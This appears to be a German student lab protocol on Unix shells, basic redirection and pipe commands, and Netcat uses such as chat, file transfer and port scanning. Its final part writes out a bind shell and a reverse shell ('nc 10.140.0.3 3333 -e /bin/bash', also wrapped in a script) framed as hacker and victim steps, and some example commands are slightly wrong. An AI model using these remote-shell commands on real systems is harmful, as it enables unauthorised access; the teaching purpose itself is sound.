Kurzbeschreibung:

In diesem Protokoll wird auf die verschiedenen Shells und deren Funktionsweise eingegangen. Außerdem werden verschiedene Befehle und deren Verwendung erklärt. Abschließend wird auf das Tool Netcat eingegangen und dessen Verwendungsmöglichkeiten aufgezeigt.

Shells

• sh: Bourne Shell -> älteste Shell
• Ksh: Korn Shell -> Weiterentwicklung von sh mit mehr Features
• csh: C-Shell -> von Bill Joy entwickelt -> Syntax ähnlich wie C
• bash: Bourne Again Shell -> Weiterentwicklung von sh
• zsh: Z-Shell -> Weiterentwicklung von bash -> viele Features wie Autovervollständigung, Rechtschreibkorrektur, Themes, etc.

stdir                   -> stdout
-------> Process ---<
                        -> stdin

Commands

• File ausgeben

cat /etc/passwd

• File ausgeben und in ein anderes File schreiben

cat /etc/passwd > /tmp/passwd

• File ausgeben und an ein anderes File anhängen

cat /etc/passwd >> /tmp/passwd

• File ausgeben und weiterleiten

cat /etc/passwd | grep root

• File ausgeben und weiterleiten

cat /etc/passwd | grep root | wc -l

• File ausgeben und weiterleiten

cat /etc/passwd | grep root | wc -l > /tmp/root

• File erstellen mit Inhalt

echo "Hallo" > /tmp/hallo

\

• Directories anzeigen und sortieren

ls -l | sort

• oder auch umgekehrt:

sort < abc.txt

• Dateien suchen

find / -name passwd

• Dateien suchen und in ein anderes File schreiben

find / -name passwd > /tmp/passwd

• Change Pwd

sudo passwd

• User hinzufügen

sudo useradd -m -s /bin/bash benjamin

• watch on suid_cound

watch -n 1 "ls -l /bin/su" # -n 1 -> alle 1 Sekunden

• test (z.B. ob File lesbar ist)

test -r /etc/passwd

• return wert von letztem Befehl

echo $?

• datei ausführbar machen

chmod +x abc.sh

Verketten von Befehlen

\

• abc.txt in def.txt schreiben (könnte auch mit copy gemacht werden)

cat < abc.txt > def.txt

Netcat

• Netcat ist ein Tool, das Netzwerkverbindungen aufbauen kann
• Außerdem kann es für:
  • Chat-Tools
  • File-Transfer-Tools
  • Port-Scanning
  • Port-Forwarding
  • etc. verwendet werden

Chat-Tool

Aufbau

• Client schickt Nachricht an Server

nc 10.140.6.1 3333 < "Hallo"

• Server schickt Nachricht an Client

nc -l 3333 > "Hallo"

File-Transfer-Tool

• Client erstellt eine Datei "hello.txt"

echo "Hello" > hello.txt

• Client schickt File "abc.txt" an Server und bricht den Befehl manuell ab

nc 10.140.0.12 3333 < hello.txt

• Server empfängt File "abc.txt"

nc -l 3333 > hello.txt

Shellzugriff

Möglich über ssh, rsh, telnet, etc. -> aber auch über Netcat möglich

• Victim startet Netcat und wartet auf Verbindung

nc -l 3333 -e /bin/bash

• Hacker verbindet sich mit Server

nc 10.140.0.12 3333

• Hacker hat nun Zugriff auf die Shell des Victims und kann Befehle ausführen!

Nachteile für Hacker

• Interne IP-Adresse, NAT -> ohne Port-Forwarding nicht erreichbar
• Firewall -> blockt eingehende Verbindungen
• IDS -> erkennt Hacker-Aktivitäten und blockt Verbindungen (IDS: Intrusion Detection System)

Lösung: Victim verbindet sich mit Hacker (Reverse Shell)

• Hacker startet Netcat und wartet auf Verbindung

nc -l 3333

• Victim verbindet sich mit Hacker

nc 10.140.0.3 3333 -e /bin/bash

• Hacker hat nun Zugriff auf die Shell des Victims und kann Befehle ausführen!
• Optimierung: sh script

#!/bin/bash
nc 10.140.0.3 3333 -e /bin/bash

Netcat unter Windows

• Netcat ist auch unter Windows verfügbar aber nicht standardmäßig installiert
• Download: https://eternallybored.org/misc/netcat/
• Installation: nc.exe in C:\Windows\System32 kopieren
• Es gibt auch eine GUI-Version von Netcat: https://sourceforge.net/projects/nc110/
• GUI-Version ist einfacher zu bedienen, aber weniger flexibel
• GUI-Version kann auch für Port-Scanning, Port-Forwarding, etc. verwendet werden